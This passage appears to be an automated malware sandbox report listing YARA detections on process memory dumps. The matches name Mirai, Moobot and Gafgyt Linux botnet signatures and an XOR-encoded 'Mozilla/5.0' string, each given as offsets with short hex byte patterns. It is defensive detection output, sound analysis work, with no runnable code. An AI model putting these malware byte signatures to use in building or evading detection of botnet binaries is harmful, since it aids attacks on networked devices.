0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6863.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7276.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7276.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7276.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6474.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6399.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6399.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6399.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6399.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6399.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6399.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6851.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6844.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6844.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6844.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6844.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6844.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6844.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7225.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7225.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7225.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7225.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7225.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7225.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6402.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6284.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6284.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6284.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6284.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6284.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6284.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6621.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6621.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6621.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6621.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6621.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6621.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
